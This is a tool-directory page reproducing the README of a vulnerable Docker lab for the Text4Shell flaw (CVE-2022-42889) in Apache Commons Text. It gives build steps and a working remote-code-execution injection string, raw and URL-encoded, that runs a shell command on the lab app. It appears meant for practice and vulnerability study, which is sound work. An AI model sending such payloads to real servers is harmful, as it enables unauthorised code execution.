Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2022-42889-text4shell | Kitploit
Tools/GitHubGitHub/joshbnewton31080/cve-2022-42889-text4shell
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubjoshbnewton31080/cve-2022-42889-text4shell

cve-2022-42889-text4shell

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
2 years agoNot yet reviewed

Install maven - maven-linux


  1. Maven install to create the fat jar
root@kitploit:~
mvn clean install
  1. Docker build
root@kitploit:~
docker build --tag=text4shell .
  1. Docker run
root@kitploit:~
docker run -p 80:8080 text4shell
  1. Test the app
root@kitploit:~
http://localhost/text4shell/attack?search=<anything>
  1. Attack can be performed by passing a string “${prefix:name}” where the prefix is the aforementioned lookup:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

  1. You can also try using dns or url prefixes.

  2. Get the container id

root@kitploit:~
docker container ls
  1. Get into the app
root@kitploit:~
docker exec -it <container_id> bash
  1. To check if above RCE was successful (You should see a file named foo created in the /tmp directory):
root@kitploit:~
ls /tmp/
  1. To stop the container
root@kitploit:~
docker container stop <container_id>
Download Tool